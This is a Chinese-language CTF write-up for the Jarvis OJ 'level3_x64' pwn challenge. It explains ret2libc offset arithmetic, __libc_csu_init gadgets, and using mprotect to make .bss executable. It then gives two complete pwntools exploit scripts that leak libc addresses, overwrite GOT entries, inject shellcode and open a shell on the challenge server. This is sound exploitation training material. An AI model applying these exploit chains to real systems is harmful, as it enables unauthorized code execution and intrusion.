64位参数传递约定:前六个参数按顺序存储在寄存器 rdi, rsi, rdx, rcx, r8, r9 中。参数超过六个时,从第七个开始压入栈中
jnz :z 是 zero 的意思,所以这命令是说如果不为零则跳转,或者说是如果不相等则跳转
这个 ret2libc 用这个式子想想,不要记错了
mprotect_real = (mprtotect_lib - read_lib ) + read_real
mprotect_real - mprtotect_lib = read_real - read_lib
没有用 mmap 函数,我用的是 mprotect
mprotect 函数是干啥的
int mprotect(void* addr, size_t len, int port)
mprotect函数可以改变一块内存区域的权限(以页为单位)。mprotect函数是可以改变一个段的权限的,可以利用这一特点将bss段改为可执行,将shellcode写到bss段,再想办法执行即可。
首先,要使用mprotect函数,依然需要知道它在内存中的地址,通过level3的方法可以得到。
需要调用这个mprotect函数,我们发现它有三个参数,第一个是要设置的地址(edi),第二个是设置的长度(esi),第三个是权限值(edx),但是我们在level3中发现简单的gadgets并没有pop edx,这时候,我们可以利用x64下的__libc_scu_init中的gadgets。这个函数是用来对libc进行初始化操作的,而一般的程序都会调用libc函数,所以这个函数一定会存在。我们先来看一下这个函数(当然,不同版本的这个函数有一定的区别)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| .text:0000000000400650 __libc_csu_init proc near ; DATA XREF: _start+16o .text:0000000000400650 push r15 .text:0000000000400652 mov r15d, edi .text:0000000000400655 push r14 .text:0000000000400657 mov r14, rsi .text:000000000040065A push r13 .text:000000000040065C mov r13, rdx .text:000000000040065F push r12 .text:0000000000400661 lea r12, __frame_dummy_init_array_entry .text:0000000000400668 push rbp .text:0000000000400669 lea rbp, __do_global_dtors_aux_fini_array_entry .text:0000000000400670 push rbx .text:0000000000400671 sub rbp, r12 .text:0000000000400674 xor ebx, ebx .text:0000000000400676 sar rbp, 3 .text:000000000040067A sub rsp, 8 .text:000000000040067E call _init_proc .text:0000000000400683 test rbp, rbp .text:0000000000400686 jz short loc_4006A6 .text:0000000000400688 nop dword ptr [rax+rax+00000000h] .text:0000000000400690 .text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54j .text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call qword ptr [r12+rbx*8] .text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690 .text:00000000004006A6 .text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36j .text:00000000004006A6 add rsp, 8 .text:00000000004006AA pop rbx .text:00000000004006AB pop rbp .text:00000000004006AC pop r12 .text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15 .text:00000000004006B4 retn .text:00000000004006B4 __libc_csu_init endp
|
在loc_4006A6这个函数下面,有6个pop。在loc_400690函数下面刚好前三个寄存器的赋值语句,以及一个call函数调用,简直完美有没有。所以我们只需要先调用loc_4006A6将r13,r14,r15设置为mprotect函数的三个参数值,将r12设置为mprotect的地址,rbx置0,再调用loc_400690的时候,自然就执行mprotect函数了。(为了跳出这个循环,还需将rbp设置为1)
在这里是通过call调用函数,所以我们还需要将需要调用的函数地址写道got table中。这个通过read函数就可以了。
sendline 结尾有换行符,所以传输容易出错,将 \n (也就是 \x0a) 写入变量。开始我一直没找到这个问题,后面经过 publicQi 师傅点拨,在有连续的 sendline 的地方,将后一个改为了 send。至此 exp 执行成功 

exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| from pwn import * import time
context.terminal=["tmux","sp","-h"] context.log_level='debug'
DEBUG = 0 LOCAL = True BIN = './level3_x64' HOST = 'pwn2.jarvisoj.com' PORT = 9884
def exploit(sh): rdi = 0x4006b3 rsi_r15 = 0x4006b1 libc = ELF('libc-2.19.so') write_lib = libc.symbols['write'] mprtotect_lib = libc.symbols['mprotect'] write_plt = elf.symbols['write'] read_plt = elf.symbols['read'] write_got = elf.got['write'] vul_addr = elf.symbols['vulnerable_function'] padding = 'a'*136 payload1 = padding + p64(rdi) + p64(1) + p64(rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(0x4004F0) sh.recvuntil('Input:\n') sh.send(payload1) write_addr = u64(sh.recv(8)) mprotect_real = (mprtotect_lib - write_lib ) + write_addr log.success("mprotect_real==>" + hex(mprotect_real)) bss_addr = elf.bss() shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64') payload2 = padding + p64(rdi) + p64(0) + p64(rsi_r15) + p64(bss_addr) + p64(0) + p64(read_plt) + p64(0x4004F0) sh.recvuntil('Input:\n') sh.sendline(payload2) time.sleep(0.2) sh.send(shellcode) log.success("write the shellcode to bss") bss_got = 0x600a48 payload3 = padding + p64(rdi) + p64(0) + p64(rsi_r15) + p64(bss_got) + p64(0) + p64(read_plt) + p64(0x4004F0) sh.recvuntil('Input:\n') sh.sendline(payload3) time.sleep(0.2) sh.send(p64(bss_addr)) log.success("write the bss to got_table") mprotect_got = 0x600a50 payload4 = padding + p64(rdi) + p64(0) + p64(rsi_r15) + p64(mprotect_got) + p64(0) + p64(read_plt) + p64(0x4004F0) sh.recvuntil('Input:\n') sh.sendline(payload4) sh.send(p64(mprotect_real)) log.success("write the mprotect to got_table") loc_4006A6 = 0x4006a6 loc_400690 = 0x400690 payload5 = padding + p64(loc_4006A6) payload5 += 'a'*8 + p64(0) + p64(1) + p64(mprotect_got) + p64(7) + p64(0x1000) + p64(0x600000) payload5 += p64(loc_400690) payload5 += 'a'*8 + p64(0) + p64(1) + p64(bss_got) + p64(0) +p64(0) + p64(0) payload5 += p64(loc_400690) sh.recvuntil('Input:\n') sh.send(payload5) time.sleep(2) log.success("send payload5 success") sh.interactive() return
if __name__ == '__main__': elf = ELF(BIN) if len(sys.argv) > 1: LOCAL = False sh = remote(HOST,PORT) exploit(sh) else: LOCAL = True sh = process(BIN) log.info('PID: ' + str(proc.pidof(sh)[0])) if DEBUG: gdb.attach(sh) exploit(sh)
|
另外一种利用方法,没有用 _libc_csu_init ,rdx 传参数是直接在 libc 中找的 pop rdx
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import *
context.log_level='DEBUG' r=remote('pwn2.jarvisoj.com',9884)
file=ELF('./level3_x64') libc=ELF('./libc-2.19.so')
prdi=0x4006b3 prsi=0x4006b1 bss_start=0x600a88 start_addr=0x4004f0
payload1='a'*0x80+'b'*8+p64(prdi)+p64(1)+p64(prsi)+p64(file.got['write'])+'c'*8+p64(file.plt['write']) payload1+=p64(start_addr) r.recvuntil('\n') r.send(payload1) write_got=u64(r.recv(8)) sleep(1)
libc_base=write_got-libc.sym['write'] mprotect=libc_base+libc.sym['mprotect'] prdx=libc_base+0x1b92
payload2='a'*0x80+'b'*8+p64(prdi)+p64(0x600000)+p64(prsi)+p64(0x1000)+'c'*8+p64(prdx)+p64(7)+p64(mprotect)+p64(start_addr) r.recvuntil('\n') r.send(payload2) sleep(1)
payload3='a'*0x80+'b'*8+p64(prdi)+p64(0)+p64(prsi)+p64(bss_start)+'c'*8+p64(prdx)+p64(48)+p64(file.plt['read'])+p64(start_addr) r.recvuntil('\n') r.send(payload3) sleep(1) r.send(asm(shellcraft.amd64.linux.sh(),arch='amd64'))
payload4='a'*0x80+'b'*8+p64(bss_start) r.recvuntil('\n') r.send(payload4)
r.interactive()
|
参考链接
https://blog.csdn.net/github_36788573/article/details/80178146
https://blog.csdn.net/weixin_41617275/article/details/84955439
https://www.cnblogs.com/luoleqi/p/12398759.html
(这个博主用的另外一种方法,省去了很多步骤)